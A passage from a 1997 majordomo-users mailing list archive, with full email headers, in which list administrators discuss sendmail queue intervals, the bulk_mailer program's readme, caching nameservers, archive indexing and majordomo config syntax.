30min (-bd -q30m), so it will process as much as it can, and then it marks what it can't process in such a way that the next queue run will ignore it. Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org From owner-majordomo-users-outgoing Mon Jun 9 19:34:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA07992 for majordomo-users-outgoing; Mon, 9 Jun 1997 16:34:40 -0700 (PDT) Received: from shore.shore.net (shore.shore.net [192.233.85.136]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA07933 for ; Mon, 9 Jun 1997 16:34:24 -0700 (PDT) Received: from jane.smoe.org (jeffw@smoe.org [204.167.97.154]) by shore.shore.net (8.8.3/8.8.2) with SMTP id TAA11961; Mon, 9 Jun 1997 19:35:11 -0400 (EDT) Received: by jane.smoe.org (SMI-8.6/SMI-SVR4) id TAA01708; Mon, 9 Jun 1997 19:36:10 -0400 Message-ID: <19970609193609.ZM65392@smoe.org> Date: Mon, 9 Jun 1997 19:36:09 -0400 From: jeffw@smoe.org (Jeff Wasilko) To: mitch@leben.com (Mitchell Leben) Cc: majordomo-users@greatcircle.com Subject: Re: Server load and list volume References: <19970609183215.XW45798@smoe.org> X-Mailer: Mutt 0.59.1 Mime-Version: 1.0 In-Reply-To: ; from "Mitchell Leben" on Jun 9, 1997 18:06:34 -0500 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Mitchell Leben writes: > Thanks the the idea. Since my list members are all over the place (ie. > perhaps almost as many domains as members), would this still help? Yup, it will. Here's the readme: This is a C program to do "bulk" mailing. For input, it takes a file of recipient addresses (one address per line) and a message (with headers already attached) to be sent to the recipients. It sorts the recipient list by reversed domain (so similar ones sort together), splits up the recipients into several groups containing no more than N domains each, creates an SMTP envelope for each group of recipients, and feeds that envelope to "/usr/lib/sendmail -bs". Splitting the envelopes up allows sendmail to perform delivery in parallel, so instead of having one large queue entry (for which sendmail might take awhile to get around to attempting delivery for some recipients), it has several smaller queue entries. Depending on your point-of-view, this can still be considered "cluttering up your mail queue", but it does seem to deliver messages more quickly to most recipients. The core of this program was extracted from a somewhat strange mailing list manager called na-net; it was designed to efficiently send out mail to 5000 people at a time. I have used this program to attempt delivery of a message to over 12000 recipients around the world, within a few hours. I'm currently using bulk_mailer as a back-end for several mailing lists of modest size. However, the program is not extensively tested, and may not work well in all environments. (In particular, if your system has per-user process quotas, or a small number of process table entries, you will want to modify this program to recover gracefully.) There's no warranty on this, but you're welcome to use it if you want. Installation: a) edit the Makefile as necessary b) type "make" c) copy bulk_mailer to whereever you want it to live. Usage: bulk_mailer [options] envelope_from recipient_list_file The message is then fed to standard input. 'envelope_from' is the envelope return address for the mailing list. This should either be the address of a human list maintainer, or the address of a robot that tries to recognize bounced mail messages and grok it, forwarding anything it doesn't understand to a human. 'recipient_list_file' is a filename of a list of recipients, one recipient per line. bulk_mailer's address prefrobnicator tries to understand several forms of address, e.g.: Keith Moore moore@cs.utk.edu (Keith Moore) "Keith Moore" <"keith.moore"@cs.utk.edu> (Moore, Keith) should all do the right thing. Options: -debug don't actually mail the stuff. instead, spit SMTP to stdout -domain dom.ain Set the local domain name. if not set, bulk_mailer will try to figure out the name on its own. Note: This should be a fully-qualified domain name -- not just the first component (aka the "hostname"). If the domain name doesn't have a '.' it's rejected. -maxdomains ### set the maximum number of domains per envelope to ###. if not explicitly set, 20 is the default. -maxsize ##### reject any message larger than ##### bytes. -precedence xxx add a 'Precedence: xxx' header. 'xxx' should be a keyword recognized by sendmail. NOT RECOMMENDED. WARNING: some mailers will bounce the mail if they see a Precedence header with a keyword they don't understand; some list managers will silently drop the mail if they see a Precedence header with a keyword they do understand. There is NO safe value for the Precedence header that won't cause some mailer to mishandle the message. This option is therefore not recommended. -reply-to xxx add a 'Reply-to: xxx' header to the resent message if there wasn't one in the input. Use of the reply-to header by lists is questionable; see http://www.unicom.com/FAQ/reply-to-evil.html for some of the reasons why. +reply-to yyy add a 'Reply-to: xxx' header to the resent message, overriding any reply-to header in the input. NOT RECOMMENDED. If having a list use reply-to is questionable, overriding the sender's reply-to header is even worse. This option should be used only in very unusual cases. -sendmail zzz Add the following flags to the sendmail command-line. For instance, "-sendmail -Odq" would have bulk_mailer pass the "-Odq" flag to sendmail, which tells it: "just queue the message, don't attempt to deliver it immediately". -v Be verbose. Use with sendmail: To have bulk_mailer distributed mail to a list, add the following lines to /etc/aliases: {FOO}-request: whoever-maintains-foo owner-{FOO}: whoever-maintains-foo {FOO}: "|{BULK_MAILER} owner-{FOO}@{YOUR.DOMAIN} {ADDRESS_LIST}" where {FOO} is the name of the list, {YOUR.DOMAIN} is your fully-qualified domain, {BULK_MAILER} is a full path name of the bulk_mailer program, and {ADDRESS_LIST} is a full path name of the file containing the list of addresses. From owner-majordomo-users-outgoing Mon Jun 9 19:36:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA25490 for majordomo-users-outgoing; Mon, 9 Jun 1997 15:31:02 -0700 (PDT) Received: from shore.shore.net (shore.shore.net [192.233.85.136]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA25403 for ; Mon, 9 Jun 1997 15:30:40 -0700 (PDT) Received: from jane.smoe.org (jeffw@smoe.org [204.167.97.154]) by shore.shore.net (8.8.3/8.8.2) with SMTP id SAA04243; Mon, 9 Jun 1997 18:31:26 -0400 (EDT) Received: by jane.smoe.org (SMI-8.6/SMI-SVR4) id SAA00829; Mon, 9 Jun 1997 18:32:15 -0400 Message-ID: <19970609183215.XW45798@smoe.org> Date: Mon, 9 Jun 1997 18:32:15 -0400 From: jeffw@smoe.org (Jeff Wasilko) To: mitch@leben.com (Mitchell Leben) Cc: majordomo-users@greatcircle.com Subject: Re: Server load and list volume References: X-Mailer: Mutt 0.59.1 Mime-Version: 1.0 In-Reply-To: ; from "Mitchell Leben" on Jun 9, 1997 16:54:04 -0500 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Mitchell Leben writes: > My question concerns the the mail que and performance. I am noticing that > sendmail seems to get "stuck" on the same email addresses every time. A > hundred addresses will be backed up while one just sits there (according > to the mailq command) for up to a couple of hours. Consider installing bulk_mailer. It sorts mail by domain, and then sends it off to sendmail. Jeff From owner-majordomo-users-outgoing Mon Jun 9 19:40:36 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA19941 for majordomo-users-outgoing; Mon, 9 Jun 1997 15:01:26 -0700 (PDT) Received: from tonga.unavco.ucar.edu (tonga.unavco.ucar.edu [128.117.39.14]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id PAA19930 for ; Mon, 9 Jun 1997 15:01:19 -0700 (PDT) Received: from hammer.unavco (hammer.unavco.ucar.edu [128.117.39.37]) by tonga.unavco.ucar.edu (8.6.9/UNAVCO Post Office) with ESMTP id QAA26923 for ; Mon, 9 Jun 1997 16:01:54 -0600 Received: by hammer.unavco (SMI-8.6/SMI-SVR4) id QAA27180; Mon, 9 Jun 1997 16:01:54 -0600 Date: Mon, 9 Jun 1997 16:01:54 -0600 From: jriley@unavco.ucar.edu (Jim Riley) Message-Id: <199706092201.QAA27180@hammer.unavco> To: majordomo-users@GreatCircle.COM Subject: archiving and indexing X-Sun-Charset: US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk This may be a simple question... How do you get majordomo 1.94.1 to index archives? I believe my archive is set up properly, i.e., it is creating archive files, but when I try and get the contents of an archive I get: ---Begin include--- >>>> index teqc #### No files available for teqc. ---End include--- I am a subscriber. The list's config file has get_access=list and index_access=open. The following are my MD config settings which should work since my archive files are in the same dir as the list, right? $filedir = "$listdir"; $filedir_suffix = ".archive"; # What command should I use to process an "index" request? # $index_command = "/bin/ls -lRL"; Any info would be much appreciated. Regards, Jim Riley From owner-majordomo-users-outgoing Mon Jun 9 19:42:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA27660 for majordomo-users-outgoing; Mon, 9 Jun 1997 15:44:48 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA27565 for ; Mon, 9 Jun 1997 15:44:27 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id SAA21708 for ; Mon, 9 Jun 1997 18:45:13 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id SAA32433; Mon, 9 Jun 1997 18:45:14 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Server load and list volume References: X-No-Archive: yes Date: 09 Jun 1997 18:45:13 -0400 In-Reply-To: Mitchell Leben's message of "Mon, 9 Jun 1997 16:54:04 -0500 (CDT)" Message-ID: Lines: 30 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "ML" == Mitchell Leben writes: ML> My question concerns the the mail que and performance. I am noticing ML> that sendmail seems to get "stuck" on the same email addresses every ML> time. A hundred addresses will be backed up while one just sits there ML> (according to the mailq command) for up to a couple of hours. Nothing to worry about... but you will probably want to reduce your queue run interval delay from 1hour (pretty much the default) to something like 5-15 minutes. You may also wish to install a caching-only nameserver on your mail server. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5yHdp6VRH7BJMxHAQF4PAQAlM7xpEgZGm8bZ/QuUNRSJhgXzvWk3vgr b7p+jjkAQvqY+efoNtav0oxWU9feZ+BXQo8j+YaKpo19Le4yY40muSSVDrbLmjGU T0IRSkF5x7PYGeykFaA4otmvyODYOjqkB6CzV7tvL835x4U3EWufnaHCVz59UM5U hA8PWZ0E5Gg= =hPnD -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball may stick to certain Prescient Technologies, Inc. | types of skin. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Mon Jun 9 19:46:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA21715 for majordomo-users-outgoing; Mon, 9 Jun 1997 15:12:24 -0700 (PDT) Received: from greatdane.webnexus.com (greatdane.webnexus.com [165.227.96.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA21689 for ; Mon, 9 Jun 1997 15:12:13 -0700 (PDT) Received: from dalmatian.webnexus.com (dalmatian.webnexus.com [165.227.96.4]) by greatdane.webnexus.com (8.8.5/8.8.5/WN-1.2) with ESMTP id PAA20282; Mon, 9 Jun 1997 15:12:59 -0700 (PDT) Received: (from kovar@localhost) by dalmatian.webnexus.com (8.8.5/8.8.5/WN-1.2) id PAA01816; Mon, 9 Jun 1997 15:12:58 -0700 (PDT) From: David Kovar Message-Id: <199706092212.PAA01816@dalmatian.webnexus.com> Subject: Re: digest To: Bill.Houle@SanDiegoCA.NCR.COM (Bill Houle) Date: Mon, 9 Jun 1997 15:12:58 -0700 (PDT) Cc: sdenny@hex.net, majordomo-users@GreatCircle.COM In-Reply-To: <3.0.32.19970609135751.00999100@www.sandiegoca.ncr.com> from "Bill Houle" at Jun 9, 97 02:12:04 pm X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > At 11:11 AM 6/8/97 -0500, Stephen Denny wrote: > > > >A great enhancement to majordomo (for someone with too much time > >on their hands) would be a nice script that would guide you through > >a list setup, providing help along the way, create the config file, > >digests, directories, aliases and end up with a completed list. Also > >auto mailing the directions to the list owner. I modified a script written by John Hayes to do all of this and more. His script set up the new lists very well. I went and added the features listed below. Some significant features: 1) Sends out an announcement message for the list. 2) Can convert a list from a normal alias to a majordomo list. 3) Allows you to turn on archiving, digests, or the use of resend when you set up the list. 4) Can use RCS to check out the aliases file. John's code states: print "\nEmail: jhays\@Hays.ORG\n"; print "\n\n"; print "This program is not in the Public Domain.\n"; print "It may be freely used for personal and educational lists.\n"; print "If you find it really useful, a small donation would be appreciated.\n"; print "\n"; print "Commercial Users should contact the author.\n"; print "\n"; If you fit one of the first two categories, I'll just send you what I've got. If you're a commercial user, please check with John. I'm willing to send my modifications along to anyone who gets his OK. -David #--------------------------------------------------------------------------- # Copyright 1996 - John D. Hays # email: jhays@Hays.ORG # # David Kovar: kovar@webnexus.com 05/21/97 # # 1: Added $MajordomoOwner for the getpwname call. # 2: Added RCS calls. # 3: Set up @ListFiles based on $CreateDigest and $CreateArchive # 4: Added code to look up the owner's full name from the email address # and use it as the default for Name of Owner. # 5: Added code to send a new list announcement to the list owner and # the postmaster # 6: Changed 'exec' call to 'system' call to allow other functions after # SetPerm. # 7: Changed Email to append "ThisDomain" rather than "ThisHost". This would # seem to be a bit more portable, but I could be wrong. # 8: Changed ThisDomain to be user defined. /bin/domainname returns our NIS # domain, which will really break things in this instance. # 9: Added code to set the default passwd in .passwd if # $DefaultPasswd is defined. # # Increased the version number to 1.1 # # 10: Added flag to allow just announcing the list. # 11: Added code to convert an exiting alias to a majordomo maintained alias. # 12: Added option to set aliases up not to use resend. # 13: Copies default.config to $List.config to get the list started. # # Increased the version number to 1.2 From owner-majordomo-users-outgoing Mon Jun 9 21:41:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA07968 for majordomo-users-outgoing; Mon, 9 Jun 1997 21:22:41 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA07867 for ; Mon, 9 Jun 1997 21:22:20 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id XAA22431; Mon, 9 Jun 1997 23:25:36 -0500 Date: Mon, 9 Jun 1997 23:25:32 -0500 (CDT) From: Mitchell Leben To: Rich Pieri cc: majordomo-users@GreatCircle.COM Subject: Re: Server load and list volume In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Great, thanks. I just ftp'd caching-nameserver-1.1-1.i386.rpm from the RedHat site. Unfortunately one of the problems with RPMs is that so much of it is automated. Before I install the thing I want a better understanding of how it will affect my server. Any pointers or URLs? The README is painfully sparse. Alta Vista turns up mainly people asking questions, like myself. Rich, can you tell me exactly which line in sendmail.cf controls the "queue run interval delay?" A mailing list for people that run mailing lists. Isn't this like a 12 step program for people addicted to 12 step programs??? > Nothing to worry about... but you will probably want to reduce your queue > run interval delay from 1hour (pretty much the default) to something like > 5-15 minutes. You may also wish to install a caching-only nameserver on > your mail server. ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Mon Jun 9 21:49:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA07801 for majordomo-users-outgoing; Mon, 9 Jun 1997 21:21:57 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA07747 for ; Mon, 9 Jun 1997 21:21:43 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id UAA29218 for ; Mon, 9 Jun 1997 20:57:36 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id WAA17671 for ; Mon, 9 Jun 1997 22:57:52 -0500 Date: Mon, 9 Jun 1997 22:57:51 -0500 (CDT) From: "Jeremy T. Bouse" To: majordomo-users@GreatCircle.COM Subject: All this talk about bulk_mailer.... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- I run several mailing lists for different levels of management... and I have noticed several mentions of bulk mailers... I also have the problem were some people are subscribed to several lists that overlap when posts are sent to several of the lists... Is there a way I can get it to cancel out the duplicates if mail is already addressed to someone from another list... or am I missing something in the documentation... Any help would be greatly appreciated... Jeremy Bouse Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP ID/Fingerprint: 1024/E83D9AE5/4ACC03F098D78198 19D0593E50E597E9 ICQ UIN #303078 - undrgrid@undergrid.com - NIC Whois: JB5713 When it all boils down to the essence of truth one must live by a dog's rule of life: if you can't eat it or fuck it, piss on it! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5zQv+ak13roPZrlAQELwAQAmQXnDXya0TMyU5eWJqp4MaQaezoFFG6T Pp9fwQidgEgv3B0vcFq6+NamEp55W3/6+xVGf4mxwVvnpHPm7JG1caZipVrKIF29 GgsO8MfAJhDH3ipdGjgM79/qowTX7zv2Se30lIfwC76ypjnu9v52VJXFIRsTx5+c RDXGPlNOLxg= =gvUh -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Mon Jun 9 23:11:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA25795 for majordomo-users-outgoing; Mon, 9 Jun 1997 23:03:32 -0700 (PDT) Received: from qcci.qcci.com.au (ts0610.powerup.com.au [203.18.83.202]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA25779 for ; Mon, 9 Jun 1997 23:03:23 -0700 (PDT) Received: from ws82.qcci (T082.qcci.com.au [10.0.2.82]) by qcci.qcci.com.au (8.7.5/8.6.9) with SMTP id QAA15473 for ; Tue, 10 Jun 1997 16:10:38 +1000 Date: Tue, 10 Jun 1997 16:10:38 +1000 Message-Id: <199706100610.QAA15473@qcci.qcci.com.au> X-Sender: dparker@qcci.com.au X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: majordomo-users@GreatCircle.COM From: Darryn Parker Subject: Private lists Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I wish to create a private list. I know what "noadvertise" and "advertise" do but the following line in my test.config file has no effect noadvertise /.*/ << END whats' wrong? Yes, I am new to majordomo 1.94.3 (running on a linux 2.0.28 box) From owner-majordomo-users-outgoing Tue Jun 10 04:00:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id DAA09774 for majordomo-users-outgoing; Tue, 10 Jun 1997 03:22:44 -0700 (PDT) Received: from univac.bitcon.no (univac.bitcon.no [193.69.224.31]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id DAA09546 for ; Tue, 10 Jun 1997 03:21:47 -0700 (PDT) Received: by univac.bitcon.no with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5) id <01BC7598.FB0B93D0@univac.bitcon.no>; Tue, 10 Jun 1997 12:22:36 +0200 Message-ID: From: Gunnar Helliesen To: "'Jason L Tibbitts III'" , "'Renee Rosen'" Cc: "'majordomo-users@GreatCircle.COM'" Subject: RE: archive2 -> HTML Date: Tue, 10 Jun 1997 12:21:46 +0200 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I did the same and also settled on MHonArc, but for a different reason: Under heavy load and while reading large files Hypermail dumped core on me. I tried reading the source to try and find out why, but never succeded. I emailed the author to try and get some help with the problem but he never replied. This was on Digital Unix 3.2c, by the way. Gunnar -- Gunnar Helliesen | Bergen IT Consult AS | NetBSD/VAX on a uVAX II Systems Consultant | Bergen, Norway | '86 Jaguar Sovereign 4.2 gunnar@bitcon.no | http://www.bitcon.no/ | '73 Mercedes 280 (240D) >-----Original Message----- >From: Jason L Tibbitts III [SMTP:tibbs@hpc.uh.edu] >Sent: Monday, June 09, 1997 9:47 PM >To: Renee Rosen >Cc: majordomo-users@GreatCircle.COM >Subject: Re: archive2 -> HTML > >>>>>> "RR" == Renee Rosen writes: > >RR> This brings up a question I had. Which is better, MHonArch or >RR> Hypermail? > >I evaluated both before I ended up choosing MHonArc. The big plus was that >at the time MHonArc was undergoing active development (and still is). >HyperMail was somewhat stagnant. That may have changed. > From owner-majordomo-users-outgoing Tue Jun 10 05:58:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA01819 for majordomo-users-outgoing; Tue, 10 Jun 1997 05:45:56 -0700 (PDT) Received: from mail2.explore.com (mail2.explore.com [208.216.229.244]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id FAA01808 for ; Tue, 10 Jun 1997 05:45:47 -0700 (PDT) Received: (from dcl@localhost) by mail2.explore.com (8.8.5/8.8.5) id IAA08390; Tue, 10 Jun 1997 08:47:53 -0400 From: "Daniel C. L'Hommedieu" Message-Id: <199706101247.IAA08390@mail2.explore.com> Subject: Re: Server load and list volume To: mitch@leben.com (Mitchell Leben) Date: Tue, 10 Jun 1997 08:47:52 -0400 (EDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Mitchell Leben" at Jun 9, 97 11:25:32 pm Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Mitchell Leben wrote: > Rich, can you tell me exactly which line in sendmail.cf controls the > "queue run interval delay?" Read the sendmail manpage! It's the -q option given to sendmail. e.g. I call sendmail: /usr/lib/sendmail -bd -q15m >From Red Hat Linux 4.1 manpage: -q[time] Processed saved messages in the queue at given intervals. If time is omitted, process the queue once. Time is given as a tagged number, with `s' being seconds, `m' being minutes, `h' being hours, `d' being days, and `w' being weeks. For exam- ple, `-q1h30m' or `-q90m' would both set the timeout to one hour thirty minutes. If time is specified, sendmail will run in background. This option can be used safely with -bd. (The only difference to the Solaris manpage is that Solaris doesn't give the "-bd" explanation at the end.) Daniel -- Daniel C. L'Hommedieu dcl@explore.com Network Systems Technician From owner-majordomo-users-outgoing Tue Jun 10 06:56:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA08419 for majordomo-users-outgoing; Tue, 10 Jun 1997 06:40:45 -0700 (PDT) Received: from mail2.explore.com (mail2.explore.com [208.216.229.244]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA08388 for ; Tue, 10 Jun 1997 06:40:32 -0700 (PDT) Received: (from dcl@localhost) by mail2.explore.com (8.8.5/8.8.5) id JAA08641; Tue, 10 Jun 1997 09:42:39 -0400 From: "Daniel C. L'Hommedieu" Message-Id: <199706101342.JAA08641@mail2.explore.com> Subject: Re: Private lists To: dparker@qcci.com.au (Darryn Parker) Date: Tue, 10 Jun 1997 09:42:38 -0400 (EDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: <199706100610.QAA15473@qcci.qcci.com.au> from "Darryn Parker" at Jun 10, 97 04:10:38 pm Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Darryn Parker wrote: > I wish to create a private list. I know what "noadvertise" and "advertise" > do but the following line in my test.config file has no effect > > noadvertise /.*/ << END > > whats' wrong? Lines that are of the form command <; Tue, 10 Jun 1997 06:40:44 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id JAA00980 for ; Tue, 10 Jun 1997 09:41:34 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id JAA03435; Tue, 10 Jun 1997 09:41:34 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Server load and list volume References: X-No-Archive: yes Date: 10 Jun 1997 09:41:34 -0400 In-Reply-To: Mitchell Leben's message of "Mon, 9 Jun 1997 23:25:32 -0500 (CDT)" Message-ID: Lines: 31 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "ML" == Mitchell Leben writes: ML> Rich, can you tell me exactly which line in sendmail.cf controls the ML> "queue run interval delay?" The -q switch when you start sendmail takes this argument. A caching nameserver is generally a win if you have moderate to high volume mailing lists; the greater the volume and the more subscribers, the more of a win a caching nameserver will be. Caching DNS data locally reduces network load under those conditions (only one delivery request per day will require hitting a remote nameserver) and improve delivery times. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM51ZjJ6VRH7BJMxHAQFx5wQAqLXpHlWdSkQZG2UehZygVcWJvYJrSBZm FS6UZizLb3YjoJ0/kmBBqn1NOQBWo+LXsDBhCVfw7ho4Nmmv1LqN54e8O6mudcKq LjAG/kWrGPMzkZURzn4sd42vL0q0EO8giJeWfDMDQnJDkheOkzfi8bYkieSRRGX+ PS9aPoTQlKI= =HjOe -----END PGP SIGNATURE----- -- Rich Pieri | Warning: pregnant women, the Prescient Technologies, Inc. | elderly, and children under 10 A Stone & Webster Company | should avoid prolonged exposure to I speak for myself, not PTI or SWEC | Happy Fun Ball. From owner-majordomo-users-outgoing Tue Jun 10 07:36:20 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA08934 for majordomo-users-outgoing; Tue, 10 Jun 1997 06:44:35 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA08894 for ; Tue, 10 Jun 1997 06:44:20 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id JAA01077 for ; Tue, 10 Jun 1997 09:45:14 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id JAA03541; Tue, 10 Jun 1997 09:45:14 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: All this talk about bulk_mailer.... References: X-No-Archive: yes Date: 10 Jun 1997 09:45:14 -0400 In-Reply-To: "Jeremy T. Bouse"'s message of "Mon, 9 Jun 1997 22:57:51 -0500 (CDT)" Message-ID: Lines: 32 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "JTB" == Jeremy T Bouse writes: JTB> Is there a way I can get it to cancel out the duplicates if mail is JTB> already addressed to someone from another list... or am I missing JTB> something in the documentation... There is nothing in Majordomo to accomplish this because Majordomo does not perform delivery. Berkeley v8 sendmail can and will do this, but only if feed it *all* of the addresses at once, which is exactly what you do not want to do. Besides, filtering mail is something that should be done at the client end of things, not the mail server. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM51aQJ6VRH7BJMxHAQHzHAQAqLfCceKMj4GBrrVpwcHDNncgpMivbhH/ LNw0l0U6aftlPod9vPFniunjL4tfd0kyIHkKRjS30KzB7DXotm2VhmMIQ1sRvVSa lj8mLLsjdUu3Lxo3nURhOXg8CHHeifgwZbpEYQ2v8XXurZ44i2z/+YjUUVwNh5r6 xPxZztM+5Ek= =1c2i -----END PGP SIGNATURE----- -- Rich Pieri | Ingredients of Happy Fun Ball Prescient Technologies, Inc. | include an unknown glowing A Stone & Webster Company | substance which fell to Earth, I speak for myself, not PTI or SWEC | presumably from outer space. From owner-majordomo-users-outgoing Tue Jun 10 09:25:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA01558 for majordomo-users-outgoing; Tue, 10 Jun 1997 08:59:53 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA01540 for ; Tue, 10 Jun 1997 08:59:46 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA08847 for dcl@explore.com; Tue, 10 Jun 97 08:44:28 MST Received: from nombre.risc.sps.mot.com by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA27430 for majordomo-users@GreatCircle.COM; Tue, 10 Jun 97 08:44:27 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by nombre.risc.sps.mot.com (8.7.1/8.7.1) with ESMTP id KAA08284; Tue, 10 Jun 1997 10:44:25 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id KAA13342; Tue, 10 Jun 1997 10:44:24 -0500 From: Dave Wolfe Message-Id: <199706101544.KAA13342@miaow.risc.sps.mot.com> Subject: Re: Private lists To: dcl@explore.com (Daniel C. L'Hommedieu) Date: Tue, 10 Jun 1997 10:44:24 -0500 (CDT) Cc: dparker@qcci.com.au, majordomo-users@GreatCircle.COM In-Reply-To: <199706101342.JAA08641@mail2.explore.com> from "Daniel C. L'Hommedieu" at Jun 10, 97 09:42:38 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk [ Daniel C. L'Hommedieu writes: ] [ here document discussion ] > > (Note: in Perl there can be no space between the '<<' and the marker.) While interesting background, note that Mj list .config files are *not* Perl, so spaces are allowed around the '<<'. -- Dave Wolfe 